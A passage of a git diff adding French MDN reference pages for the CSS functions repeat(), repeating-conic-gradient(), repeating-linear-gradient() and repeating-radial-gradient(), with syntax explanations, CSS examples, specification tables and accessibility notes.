+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#funcdef-repeat", "repeat()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template-columns.repeat")}}</p>
diff --git a/files/fr/web/css/repeating-conic-gradient()/index.html b/files/fr/web/css/repeating-conic-gradient()/index.html
new file mode 100644
index 0000000000..8e08d42e5a
--- /dev/null
+++ b/files/fr/web/css/repeating-conic-gradient()/index.html
@@ -0,0 +1,207 @@
+---
+title: repeating-conic-gradient()
+slug: Web/CSS/repeating-conic-gradient()
+tags:
+  - CSS
+  - Dégradé
+  - Fonction
+  - Reference
+translation_of: Web/CSS/repeating-conic-gradient()
+---
+<div>{{draft}} {{CSSRef}}</div>
+
+<p><span class="seoSummary">La fonction CSS <strong><code>repeating-conic-gradient()</code></strong> crée une image composée d'un dégradé conique répété. Elle permet d'avoir un motif répété qu'on pourrait décrire avec une seule itération grâce à {{cssxref('conic-gradient')}}. Le résultat fourni par la fonction <code>repeating-conic-gradient()</code> est une valeur de type {{CSSxRef("&lt;gradient&gt;")}} qui est un sous-type du type{{CSSxRef("&lt;image&gt;")}}.</span></p>
+
+<p>Si le premier ou le dernier arrêt de couleur inclut un angle supérieur à <code>0deg</code> ou inférieur à <code>360deg</code>, le dégradé conique ne sera pas répété.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-repeating-conic-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>À l'instar des autres dégradés, les dégradés coniques répétés n'ont pas <a href="/fr/docs/Web/CSS/image#Les_types_d'images">de dimensions intrinsèques</a> (c'est-à-dire pas de taille naturelle ou préférée et pas de proportion préférée). La taille finale du dégradé sera la taille de l'élément sur lequel il est appliqué ou la taille indiquée par d'autres propriétés.</p>
+
+<p>Le type de donnée <code>&lt;gradient&gt;</code>s étant un sous-type d'<code>&lt;image&gt;</code>, on pourra utiliser les dégradés coniques répétés là où des valeurs de type <code>&lt;image&gt;</code> sont attendues. Ainsi, <code>repeating-conic-gradient()</code> ne fonctionnera pas pour la propriété {{CSSxRef("background-color")}} car celle-ci attend une valeur de type {{CSSxRef("&lt;color&gt;")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Afin de créer un dégradé conique qui ne se répète pas, on pourra utiliser la notation fonctionnelle {{CSSxRef("conic-gradient")}}.</p>
+</div>
+
+<h2 id="Comprendre_les_dégradés_coniques_répétés">Comprendre les dégradés coniques répétés</h2>
+
+<p>La syntaxe pour <code>repeating-conic-gradient</code> est semblable à celle de {{CSSxRef("conic-gradient")}} et à celle de {{CSSxRef("repeating-radial-gradient")}}. À l'instar du dégradé conique unitaire, les arrêts de couleur sont placés autour d'un arc. Comme pour les dégradés radiaux répétés, la taille de la portion répétée correspond au premier arrêt de couleur auquel on a soustrait l'angle du dernier arrêt de couleur.</p>
+
+<p><img alt="Comparison of the color stops for repeating and non-repeating conic and radial gradients" src="https://mdn.mozillademos.org/files/16798/repeatingconicgradient.png" style="height: 376px; width: 1403px;"></p>
+
+<p>Les dégradés ci-dessus sont définis avec un tiers de bleu, un tiers de rouge et un tiers de jaune.</p>
+
+<pre class="notranslate">repeating-conic-gradient(from 0deg, red 0deg 30deg, yellow 30deg 60deg, blue 60deg 90deg);
+
+repeating-radial-gradient(red 0 8%, yellow 8% 16%, blue 16% 24%);
+
+conic-gradient(red 120deg, yellow 120deg 240deg, blue 240deg);
+
+radial-gradient(red 33%, yellow 33% 66%, blue 66%);
+</pre>
+
+<p>Pour un dégradé répété, on définit le premier et le dernier arrêt de couleur. Si les valeurs ne sont pas explicitement définies, elles correspondent respectivement aux angles <code>0</code> et <code>360deg</code>. Lorsque ces valeurs sont utilisées par défaut, l'arc qui est répété occupe 360 degrés et il n'y a donc pas de répétition.</p>
+
+<p>Les arrêts de couleur sont placés autour d'un arc (et non sur une ligne qui s'écarte du centre). L'arc progresse dans le sens horaire.</p>
+
+<p>Un dégradé conique répété est défini en indiquant un angle de rotation, le centre du dégradé et une liste d'arrêts de couleur. Les arrêts de couleur sont définis avec un angle (type CSS {{cssxref('angle')}}). Les unités qui permettent de déclarer un angle sont <code>deg</code> (pour les degrés), <code>grad</code> (pour les grades), <code>rad</code> (pour les radians) et <code>turn</code> (pour les tours). Un cercle se compose de 360 degrés, 400 grade, 2π radians et d'un tour.</p>
+
+<p>Les navigateurs qui prennent en charge ces dégradés permettent également d'utiliser des valeurs en pourcentages (où 100% correspond à 360 degrés). Toutefois, ce comportement n'est pas décrit dans la spécification.</p>
+
+<p>La syntaxe de définition permet de placer le centre du dégradé à l'intérieur ou encore à l'extérieur de l'image. Les valeurs permettant de définir la position du centre s'écrivent comme la syntaxe à deux valeurs de  {{cssxref('background-position')}}.</p>
+
+<h3 id="Personnaliser_des_dégradés">Personnaliser des dégradés</h3>
+
+<p>En ajoutant des arrêts de couleur à l'arc du dégradé, il est possible de créer des dégradés sur mesures. La position d'un arrêt de couleur se définit via un {{CSSxRef("&lt;angle&gt;")}}. Si on n'indique pas de position pour un arrêt, celui-ci est placé à mi-parcours entre le précédent et le suivant. Si la position du premier ou du dernier arrêt ne sont pas définies, par défaut, ils seront placés à <code>0deg</code> et à <code>360deg</code> respectivement.</p>
+
+<p>Attention, lorsque ces valeurs par défaut sont utilisées, l'arc occupe tout le cercle et le dégradé n'est donc pas répété.</p>
+
+<p>Les deux formulations suivantes sont équivalentes :</p>
+
+<pre class="brush: css notranslate">repeating-conic-gradient(red, orange, yellow, green, blue 50%);
+repeating-conic-gradient(from -45deg, red 45deg, orange, yellow, green, blue 225deg)</pre>
+
+<p>Par défaut, les couleurs évoluent progressivement entre chaque arrêt et le milieur de l'arc correspondra à la moyenne des couleurs. Il est possible de déplacer ce point intermédiaire en fournissant une indication quant à l'emplacement du milieu de la transition.</p>
+
+<p>Si deux (voire plusieurs) couleurs sont au même emplacement, la transition sera une ligne brutale entre la première et la dernière couleur déclarées à cet emplacement.</p>
+
+<p>Bien qu'il soit possible de mélanger et de combiner différentes unités pour les angles, il est préférable d'éviter par souci de lisibilité / maintenabilité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="language-css notranslate" id="css">background: repeating-conic-gradient(
+    from 3deg at 25% 25%,
+    hsl(200, 100%, 50%) 0deg 15deg,
+    hsl(200, 100%, 60%) 10deg 30deg);
+);</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;angle&gt;")}}</dt>
+ <dd>Lorsque cet angle est précédé du mot-clé <code>from</code>, cela définit la rotation du dégradé dans le sens horaire.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une position définie avec la même syntaxe que la propriété {{cssxref("background-position")}}. Cette position définit le centre du dégradé. Lorsque cette valeur est absente, la valeur utilisée par défaut est <code>center</code>, ce qui indique que le dégradé est centré.</dd>
+ <dt><code>&lt;angular-color-stop&gt;</code></dt>
+ <dd>Une valeur {{CSSxRef("&lt;color&gt;")}} pour un arrêt de couleur, suivie par une ou plusieurs positions d'arrêt (données par un {{CSSxRef("&lt;angle&gt;")}} le long de l'arc). La taille de l'arc répété pour le dégradé est donné par l'angle du dernier arrêt de couleur auquel on a soustrait l'angle du premier arrêt de couleur.</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Une indication d'interpolation qui définit la façon dont le dégradé progresse entre deux arrêts de couleurs adjacents. Cette indication indique l'emplacement où la couleur doit être la couleur intermédiaire entre les deux arrêts environnant. Si cette valeur est absente, la moitié de la transition entre les couleurs sera atteinte à la moitié de l'arc entre les deux arrêts.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Note :</strong> Le rendu des arrêts de couleur pour les dégradés CSS suit les mêmes règles que celui des arrêts de couleur pour <a href="/fr/docs/Web/SVG/Tutoriel/Gradients">les dégradés SVG</a>.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">repeating-conic-gradient(
+  [ from &lt;angle&gt; ]? [ at &lt;position&gt; ]?, &lt;angular-color-stop-list&gt; )
+  \---------------------------------/ \----------------------------/
+        Définition du dégradé            Liste d'arrêts de couleur
+
+where &lt;angular-color-stop-list&gt; = [ &lt;angular-color-stop&gt; [, &lt;angular-color-hint&gt;]? ]# , &lt;angular-color-stop&gt;
+  and &lt;angular-color-stop&gt; = &lt;color&gt; &amp;&amp; &lt;color-stop-angle&gt;?
+  and &lt;angular-color-hint&gt; = &lt;angle-percentage&gt;
+  and &lt;color-stop-angle&gt; = &lt;angle-percentage&gt;{1,2}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<h3 id="Noir_et_blanc">Noir et blanc</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background-image:
+     repeating-conic-gradient(#fff 0 9deg, #000 9deg 18deg);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Noir_et_blanc", 220, 220)}}</p>
+</div>
+
+<div>
+<h3 id="Dégradé_désaxé">Dégradé désaxé</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background: repeating-conic-gradient(
+    from 3deg at 25% 25%,
+    green, blue 2deg 5deg, green, yellow 15deg 18deg, green 20deg);
+}</pre>
+
+<p>{{EmbedLiveSample("Dégradé_désaxé", 220, 220)}}</p>
+
+<p>Le degradé est répété 18 fois mais on en voit que la moitié droite et on voit donc 9 répétitions.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page <a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utiliser les dégradés en CSS</a> pour plus d'exemples.</p>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les navigateurs ne fournissent pas d'informations spécifiques aux outils d'assistance quant aux images d'arrière-plan. Les lecteurs d'écran ne pourront donc pas annoncer le sens de l'image aux utilisateurs. Bien qu'il soit possible de créer des camemberts, damiers, etc. avec CSS, si l'image contient des informations critiques pour la compréhension générale de la page, mieux vaudra décrire ces informations de façon sémantique dans le document.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles du WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 - W3C Understanding WCAG 2.0 (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#repeating-gradients', 'repeating-conic-gradient()')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.types.image.gradient.conic-gradient")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés en CSS</a></li>
+ <li>Les autres fonctions relatives aux dégradés : {{CSSxRef("conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/repeating-linear-gradient()/index.html b/files/fr/web/css/repeating-linear-gradient()/index.html
new file mode 100644
index 0000000000..0e6c63df58
--- /dev/null
+++ b/files/fr/web/css/repeating-linear-gradient()/index.html
@@ -0,0 +1,174 @@
+---
+title: repeating-linear-gradient
+slug: Web/CSS/repeating-linear-gradient()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/repeating-linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>repeating-linear-gradient</code></strong> créé une {{cssxref("&lt;image&gt;")}} composée de dégradés qui se répètent. Cela fonctionne de manière similaire aux dégradés linéaires simples décrits les mêmes arguments que les dégradés linéaires basiques représentés avec {{cssxref("linear-gradient")}} mais les points d'arrêt des couleurs sont automatiquement répétés, indéfiniment, dans les deux directions (les points d'arrêt sont répétés d'autant que la distance qui sépare le premier et le dernier point d'arrêt).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-repeating-linear-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Par conséquent, la ligne de la couleur de fin coïncide toujours avec la ligne de la couleur de début. Si les deux ne sont pas identiques, on obtiendra alors une transition abrupte.</p>
+
+<p>Comme pour les autres dégradés, un dégradé linéaire répété n'est pas une couleur (type {{cssxref("&lt;color&gt;")}}) CSS mais une image (type {{cssxref("&lt;image&gt;")}}) <a href="/fr/docs/Web/CSS/image" title="en/CSS/image#no_intrinsic">sans dimension intrinsèque</a> ; c'est-à-dire, qu'il n'a ni taille naturelle ni taille préférée. Sa taille réelle s'adapte à l'élément auquel il s'applique.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Le type <code>&lt;gradient&gt;</code> est un sous-type du type  <code>&lt;image&gt;</code>. À ce titre, <code>repeating-linear-gradient()</code> ne fonctionnera pas pour {{cssxref("background-color")}} et les autres propriétés qui utilisent le type de données {{cssxref("&lt;color&gt;")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Un dégradé répétitif sur un axe à 45 degrés */
+/* débutant bleu et finissant rouge, répété 3 fois */
+repeating-linear-gradient( 45deg, blue, red 33.3% );
+
+/* Un dégradé répétitif allant du coin inférieur droit */
+/* à coin supérieur gauche débutant bleu et finissant rouge */
+/* et répété tous les 20 pixels */
+repeating-linear-gradient( to left top, blue, red 20px);
+
+/* Un dégradé répétitif allant du bas vers le haut, */
+/* débutant bleu, étant vert après 40% et finissant rouge */
+repeating-linear-gradient( 0deg, blue, green 40%, red );
+
+/* Un dégradé répété cinq fois, progressant de gauche à
+   droite, commençant en rouge, passant en vert puis à
+   nouveau en rouge */
+repeating-linear-gradient(to right, red 0%, green 10%, red 20%);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>Représente la position du point de départ de la ligne de dégradé. Cette valeur comprends deux mots-clés : le premier indique le côté sur une ligne horizontale, <code>left</code> ou <code>right</code>, le second indique le côté sur une ligne verticale, <code>top</code> ou <code>bottom</code>. L'ordre n'a pas d'influence et chacun des mots-clés est optionnel.<br>
+ Les valeurs<code> to top</code>, <code>to bottom</code>, <code>to left</code> et <code>to right</code> sont respectivement traduites vers les angles <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, <code>90deg</code>. Les autres sont traduites vers des angles qui permettent au point de départ d'être dans le même quadrant que le coin décrit et que la ligne définie par le point de départ et le coin soit perpendiculaire à la ligne de dégradé. De cette manière, la couleur décrite par le point d'arrêt sera exactement celle du coin. Ceci est parfois appelé la propriété du « coin magique ». Le point de fin de la ligne de dégradé est le point symétrique de du point de départ dans l'autre direction par rapport au centre de la boîte.</dd>
+ <dt><code>&lt;angle&gt;</code></dt>
+ <dd>Un angle pour la direction du dégradé. L'angle démarre à <code>0deg</code> (ce qui est équivalent à <code>to top</code>) et progresse dans le sens des aiguilles d'une montre. Voir {{cssxref("&lt;angle&gt;")}}.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>Cette valeur est composée d'une valeur de  couleur (type {{cssxref("&lt;color&gt;")}}), suivie d'une position d'arrêt optionnelle (soit un pourcentage entre 0% et 100% ou une longueur (type {{cssxref("&lt;length&gt;")}}) mesurée le long de l'axe du dégradé).</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>L'indication de couleur est une indication pour l'interpolation des couleurs le long du dégradé et entre deux points d'arrêt de couleur. La longueur définit l'emplacement où la transition entre les deux couleurs est appliquée à moitié. Si cette valeur est absente, le niveau intermédiaire de la transition se situera à équidistance des deux points d'arrêt de couleur.</dd>
+ <dd>Le rendu des points d'arrêt en CSS suit les mêmes règles que les dégradés en SVG.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">repeating-linear-gradient(  [ <a href="/fr/docs/Web/CSS/angle">&lt;angle&gt;</a> | to &lt;side-or-corner&gt; ,]? &lt;color-stop-list&gt; )
+                            \---------------------------------/ \---------------/
+                              Définition de la ligne du dégradé Liste des points d'arrêt
+
+où <code>&lt;side-or-corner&gt; = [left | right] || [top | bottom]</code>
+  et <code>&lt;</code><code>color-stop-list&gt; = [ &lt;</code><dfn>linear-</dfn><code>color-stop&gt; [, &lt;color-hint&gt;? ]? ]#, &lt;</code><dfn>linear-</dfn><code>color-stop&gt;
+  et &lt;</code><dfn>linear-</dfn><code>color-stop&gt; = &lt;color&gt; [ &lt;color-stop-length&gt; ]?
+  et &lt;color-stop-length&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]{1,2}
+  et &lt;color-hint&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]</code>
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Bandes_zébrées">Bandes zébrées</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background-image: repeating-linear-gradient(-45deg,
+      transparent,
+      transparent 20px,
+      black 20px,
+      black 40px);
+  /* avec plusieurs longueurs pour les points d'arrêt */
+  background-image: repeating-linear-gradient(-45deg,
+      transparent 0 20px,
+      black 20px 40px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Bandes_zébrées', 120, 120)}}</p>
+
+<h3 id="Dix_barres_horizontales_répétées">Dix barres horizontales répétées</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background-image: repeating-linear-gradient(to bottom,
+      rgb(26,198,204),
+      rgb(26,198,204) 7%,
+      rgb(100,100,100) 10%);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Dix_barres_horizontales_répétées', 120, 120)}}</p>
+
+<p>Comme le dernier point d'arrêt est situé à 10% et que le dégradé est vertical, chaque dégradé occupera 10% de la hauteur et on aura donc au total dix barres horizontales.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page <a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés CSS</a> pour plus d'exemples.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-linear-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.gradient.repeating-linear-gradient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés CSS</a></li>
+ <li>Les propriétés liées aux dégradés :
+  <ul>
+   <li>{{cssxref("radial-gradient", "radial-gradient()")}},</li>
+   <li>{{cssxref("linear-gradient", "linear-gradient()")}},</li>
+   <li>{{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+   <li>{{cssxref("conic-gradient")}}</li>
+   <li>{{cssxref("repeating-conic-gradient")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés où ces fonctions peuvent être utilisées :
+  <ul>
+   <li>{{cssxref("background-image")}},{{cssxref("background")}}.</li>
+  </ul>
+ </li>
+ <li><a href="https://codepen.io/adobe/full/fhnBJ">Un dégradé CSS interactif</a></li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/repeating-radial-gradient()/index.html b/files/fr/web/css/repeating-radial-gradient()/index.html
new file mode 100644
index 0000000000..eae482b540
--- /dev/null
+++ b/files/fr/web/css/repeating-radial-gradient()/index.html
@@ -0,0 +1,165 @@
+---
+title: repeating-radial-gradient()
+slug: Web/CSS/repeating-radial-gradient()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/repeating-radial-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <code><strong>repeating-radial-gradient()</strong></code> fonctionne de façon similaire à {{cssxref("radial-gradient")}} mais répète les couleurs de façon infinie dans les deux directions avec des répétitions formant des bandes de gradient (de façon analogue à {{cssxref("repeating-linear-gradient")}} qui permet de répéter un dégradé linéaire ({{cssxref("linear-gradient")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-repeating-radial-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour les autres gradients, un gradient radial répété n'est pas une couleur CSS : ce n'est pas une valeur de type {{cssxref("&lt;color&gt;")}} mais une image (type {{cssxref("&lt;image&gt;")}}) <a href="/fr/docs/Web/CSS/image">sans dimension intrinsèque</a> : elle n'a pas de taille naturelle ou préférée ni de proportion. Sa taille réelle correspondra à celle de l'élément où est appliqué le gradient.</p>
+
+<div class="note">
+<p><strong>Note :</strong> En CSS, un dégradé est une image (type de données {{cssxref("&lt;image&gt;")}} et une telle valeur ne peut être utilisée qu'avec les propriétés qui gèrent des images. Ainsi, <code>repeating-radial-gradient()</code> ne fonctionnera pas avec {{cssxref("background-color")}} ou avec les autres propriétés qui acceptent des couleurs (type de données {{cssxref("&lt;color&gt;")}}).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Un dégradé répété qui part du centre de son conteneur,
+   en commençant par du rouge, passant par du bleu puis,
+   finissant par du vert */
+repeating-radial-gradient(circle at center, red 0, blue, green 30px);
+
+/* Un dégradé elliptique qui commence dans le coin supérieur gauche
+   en commençant rouge puis en passant au vert, cinq fois entre le
+   centre et le coin inférieur droit et une seule fois entre le
+   centre et le coin supérieur gauche */
+repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%);
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une position CSS ({{cssxref("&lt;position&gt;")}}) qui sera interprétée de la même façon que {{cssxref("background-position")}} ou {{cssxref("transform-origin")}}. La valeur par défaut est <code>center</code>.</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>La forme du gradient employé. C'est un mot-clé parmi <code>circle</code> (le dégradé est circulaire avec un rayon constant) ou <code>ellipse</code> (la forme est elliptique et l'axe est aligné avec la direction indiquée). La valeur par défaut est <code>ellipse</code>.</dd>
+ <dt><code>&lt;size&gt;</code></dt>
+ <dd>La taille du gradient (cf. la section sur les constantes dimensionnelles ci-après).</dd>
+ <dt><code>&lt;color-stop&gt;</code></dt>
+ <dd>Cette valeur représente une couleur fixe à une position donnée. Cette valeur est composée d'une valeur {{cssxref("&lt;color&gt;")}} éventuellement suivie d'une position d'arrêt (une valeur {{cssxref("&lt;percentage&gt;")}} ou {{cssxref("&lt;length&gt;")}} représentant l'emplacement sur la ligne du gradient). Une valeur de <code>0%</code> ou <code>0</code> représentera le centre du gradient et la valeur de <code>100%</code> représentera la fin de la forme qu'occupe le dégradé. Les valeurs intermédiaires sont positionnées de façon proportionnelles sur le rayon.</dd>
+ <dt><code>&lt;extent-keyword&gt;</code></dt>
+ <dd>Des mots-clés qui déterminent la taille de la forme. Les valeurs possibles sont :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Constante</th>
+    <th>Description</th>
+   </tr>
+   <tr>
+    <td><code>closest-side</code></td>
+    <td>La forme du gradient est délimitée par les côtés de la boîtes qui sont le plus proche du centre dans le cas des cercles. Dans le cas des ellipses, elle est délimitée par les côtés horizontaux et verticaux de la boîte.</td>
+   </tr>
+   <tr>
+    <td><code>closest-corner</code></td>
+    <td>La forme du gradient est dimensionnée afin d'atteindre exactement le coin de la boîte le plus proche du centre.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-side</code></td>
+    <td>Fonctionne de façon similaire à <code>closest-side</code> mais cette fois, ce sont les côtés les plus éloignés du centre qui servent de délimitation.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-corner</code></td>
+    <td>Fonctionne de façon similaire à <code>closest-corner</code> mais dans ce cas, c'est le coin le plus éloigné du centre qui est utilisé comme délimitation.</td>
+   </tr>
+  </tbody>
+ </table>
+ Les premières versions du brouillon utilisaient d'autres termes comme <code>cover</code> et <code>contain</code>, respectivement synonymes de <code>farthest-corner</code> et <code>closest-side</code>. Certaines implémentations ont abandonné ces termes et on préfèrera donc utiliser les mots-clés précédemment listés.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Dégradé_noir_et_blanc">Dégradé noir et blanc</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 120px;
+  height: 120px;
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Dégradé_noir_et_blanc', 120, 120)}}</p>
+
+<h3 id="Utilisation_de_farthest-corner">Utilisation de <code>farthest-corner</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 120px;
+  height: 120px;
+  background: repeating-radial-gradient(ellipse farthest-corner,
+      red, black 5%, blue 5%, green 10%);
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_farthest-corner', 120, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-radial-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
